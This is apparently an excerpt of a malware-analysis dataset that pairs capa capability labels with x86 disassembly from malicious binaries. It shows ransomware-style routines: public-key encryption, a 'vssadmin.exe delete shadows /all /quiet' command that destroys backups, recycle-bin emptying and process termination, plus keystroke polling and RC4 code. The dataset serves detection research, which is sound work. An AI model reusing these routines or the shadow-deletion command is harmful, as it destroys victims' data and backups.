joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005f90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
call fcn.10007610
mov esi, eax
cmp dword [esi + 0x184], 0
je 0x10005fea
mov eax, dword [esi + 0x39c]
test eax, eax
je 0x10005fea
cmp eax, 0xffffffff
je 0x10005fea
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], eax
push ecx
push eax
lea eax, [ebp - 0x404]
push eax
push dword [esi + 0x39c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100060b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 4], 0
cmp ebx, 0xffffffff
je 0x10006174
push 0x28
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x28
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0xb8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xb8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006360
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push 0x100
mov eax, dword [esi]
mov dword [ebp + 0x14], eax
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x100063a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CryptEncrypt___error__code:__d_n
call fcn.10006000
add esp, 8
xor eax, eax
pop esi
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov dword [esi], eax
mov eax, 1
pop esi
pop ebp
ret
Function at 0x100063c0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10006413
call esi
cmp eax, 0x80090016
jne 0x10006413
push 8
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x10006413
call esi
push eax
push str.____CryptAcquireContextA_error__code:__d_n
call fcn.10006000
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
lea eax, [edi + 4]
push eax
mov eax, dword [ebp + 8]
push 0
push 0
push dword [eax + 0xde4]
add eax, 0x5e4
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x1000644c
call esi
push eax
push str.____CryptImportKey_Public__error__code:__d_n
call fcn.10006000
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret
Function at 0x10006b20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], eax
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, dword [edi + 8]
and ecx, 0x3f
push ebx
movzx eax, byte [ecx + eax + 8]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
nop dword [eax + eax]
test bl, 0x3f
jne 0x10006b81
test esi, esi
je 0x10006b72
push esi
call fcn.10006290
add esp, 4
push 0x1000
call fcn.10006200
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.10006840
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, 0x400
jl 0x10006b60
push dword [0x10018030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 8], ebx
lea eax, [ebx + 0x48]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx], 0
jne 0x10006c2e
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebx], ecx
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 8]
push ebx
movups xmm0, xmmword [eax + 8]
movups xmmword [ecx + 8], xmm0
movups xmm0, xmmword [eax + 0x18]
movups xmmword [ecx + 0x18], xmm0
movups xmm0, xmmword [eax + 0x28]
movups xmmword [ecx + 0x28], xmm0
movups xmm0, xmmword [eax + 0x38]
mov dword [ecx + 4], 0
movups xmmword [ecx + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
cmp dword [ebp + 8], ebx
jbe 0x10006ca4
nop
test bl, 0xf
jne 0x10006c61
test esi, esi
je 0x10006c52
push esi
call fcn.10006290
add esp, 4
push 0x1000
call fcn.10006200
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.10006840
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x10006c40
push esi
call fcn.10006290
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006d40
Capabilities:
Create process on windows
Delete volume shadow copies
Empty the recycle bin
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push esi
push str.___Start_clear_backups.._n
call fcn.10006000
push 0x40
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.1000f620
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0x44
xor eax, eax
mov dword [ebp - 0x60], 1
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x5c], ax
movq xmm0, qword [str.Sysnative]
mov ax, word [0x10010c38]
movq qword [ebp - 0x48], xmm0
movq xmm0, qword [str.System32]
mov word [ebp - 0x40], ax
mov al, byte [0x10010c44]
movq qword [ebp - 0x2c], xmm0
mov byte [ebp - 0x24], al
call fcn.10006fe0
test eax, eax
lea ecx, [ebp - 0x2c]
push 0x64
lea eax, [ebp - 0xf0]
push 0
lea esi, [ebp - 0x48]
push eax
cmove esi, ecx
call fcn.1000f620
add esp, 0x1c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 7], 0
xorps xmm0, xmm0
mov byte [ebp - 3], 0
movups xmmword [ebp - 0x1f], xmm0
push 0
push 0x24
push eax
push 0
movq qword [ebp - 0xf], xmm0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
cmp byte [ebp - 0x20], al
je 0x10006e1d
inc eax
cmp byte [ebp + eax - 0x20], 0
jne 0x10006e03
test eax, eax
je 0x10006e1d
cmp byte [ebp + eax - 0x21], 0x5c
je 0x10006e1d
mov word [ebp + eax - 0x20], 0x5c
push esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push str._s_s_vssadmin.exe_delete_shadows__all__quiet
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0xf0]
push eax
push str.___Try_to_run_command:__s_n
call fcn.10006000
add esp, 0x18
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10006e89
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CreateProcessA_vssadmin__error__code__d_n
call fcn.10006000
add esp, 8
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
test eax, eax
je 0x10006ea7
push eax
push str.____SHEmptyRecycleBinA___call_error__code__d_n
call fcn.10006000
add esp, 8
push 0x7d0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006f50
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
push edi
push dword [0x10018030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
lea edi, [esi + 0x48]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esi + 4]
mov ebx, dword [esi + ecx*4 + 8]
inc ecx
mov dword [esi + 4], ecx
cmp ecx, 0x10
jne 0x10006fa2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x40
mov dword [esi], eax
lea eax, [esi + 8]
push eax
push 0x60
push esi
push 0
push 0x200
mov dword [esi + 4], 0
call fcn.10006840
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x10006fe0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [0x1001802c]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push str.IsWow64Process
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10018c98], eax
test eax, eax
je 0x10007036
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x10018c98]
test eax, eax
jne 0x10007036
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____IsWow64Process___call_error__code__d_n
call fcn.10006000
add esp, 8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10007120
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10007153
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_CreateToolhelp32Snapshot___failed__code__d_n
call fcn.10006000
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.1000f620
add esp, 0xc
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x100071a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_Process32First___failed__code__d_n
call fcn.10006000
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x124], eax
je 0x1000723c
xor esi, esi
cmp dword [edi + 0x3bc], esi
jle 0x1000723c
nop dword [eax + eax]
mov eax, dword [edi + 0x3c0]
push dword [eax + esi*4]
lea eax, [ebp - 0x108]
push eax
call fcn.10007470
add esp, 8
test eax, eax
jne 0x100071f7
inc esi
cmp esi, dword [edi + 0x3bc]
jl 0x100071d0
jmp 0x1000723c
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10007221
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x10007242
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x108]
push eax
push str.____call_OpenProcess__s__failed__code__d_n
call fcn.10006000
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
mov eax, dword [ebp - 4]
jne 0x100071b2
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401db3
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp byte [esi + 0x3a], 0
jne 0x401f36
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0xc]
mov ax, word [esi + 0x58]
cmp byte [edi + 0x90], 7
mov word [edi + 0x88], ax
mov ax, word [esi + 0x5c]
Function at 0x494fd0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x53c40b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00530624
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x495052
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0052df1d
mov eax, dword [eax]
push 0x953d50
push eax
call fcn.0051f004
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005308af
test bl, bl
je 0x495052
push 0x953d50
lea ecx, [esp + 0xc]
call fcn.00530c3f
push 0x953d5c
lea ecx, [esp + 0xc]
call fcn.00530c3f
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x49508e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005308af
jmp 0x495159
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x495112
lea edx, [esp + 0x7c]
push 0x953d58
push edx
call fcn.0051f004
add esp, 8
test eax, eax
je 0x495112
lea eax, [esp + 0x7c]
push 0x953d54
push eax
call fcn.0051f004
add esp, 8
test eax, eax
je 0x495112
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4950a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005308af
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x495950
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4959b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4959c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x53c48b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x967a2c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x495af8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x495a26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005308af
xor eax, eax
jmp 0x495b6f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.005309ec
push esi
lea ecx, [esp + 0xc]
call fcn.00530c7b
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x495b4d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00495950
test eax, eax
jne 0x495b4d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00495950
test eax, eax
jne 0x495b4d
lea eax, [esp + 0x14]
push 0x953d6c
push eax
call fcn.00520110
mov esi, eax
add esp, 8
test esi, esi
jne 0x495b2c
lea ecx, [esp + 0x14]
push 0x953d68
push ecx
call fcn.00520090
mov esi, eax
add esp, 8
test esi, esi
jne 0x495b2c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x495b2f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0053099c
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x495a3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005308af
xor eax, eax
jmp 0x495b6f
mov byte [esi], 0
push 0x953d64
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005308af
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4a9fb0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4aa01e
cmp si, 0x69
ja 0x4aa01e
add esi, 0xffd0
cmp si, 0x11
je 0x4a9fee
push 0x11
call edi
test ax, ax
jge 0x4a9fee
or esi, 0x2000
cmp si, 0x10
je 0x4aa003
push 0x10
call edi
test ax, ax
jge 0x4aa003
or esi, 0x4000
cmp si, 0x12
je 0x4aa018
push 0x12
call edi
test ax, ax
jge 0x4aa018
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4aa02b
mov esi, 0xbd
jmp 0x4a9fdf
cmp si, 0x6e
jne 0x4aa038
mov esi, 0xbe
jmp 0x4a9fdf
cmp si, 0x6f
jne 0x4a9fd9
mov esi, 0xbf
jmp 0x4a9fdf

Function at 0x4ab950
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x9784c8]
xor edx, edx
cmp eax, edx
jne 0x4ab976
xor eax, eax
mov byte [eax + 0x9783c8], al
inc eax
cmp eax, 0x100
jl 0x4ab95e
mov dword [0x9784c8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x9783c8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4aba07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4ab9da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4ab9a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4aba80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4abad3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4ababa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b2af0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4b2c88
cmp ebp, ebx
jle 0x4b2c88
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4b2b4e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4b2b55
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4b2b64
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4b2b6b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.005305f0
add esp, 4
cmp eax, ebx
je 0x4b2b8c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.005305f0
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4b2c7e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4b2c65
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4b2c51
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4b2c46
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4b2c54
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4b2c54
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4b2bf0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4b2be1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x4b51b0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.00531e60
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret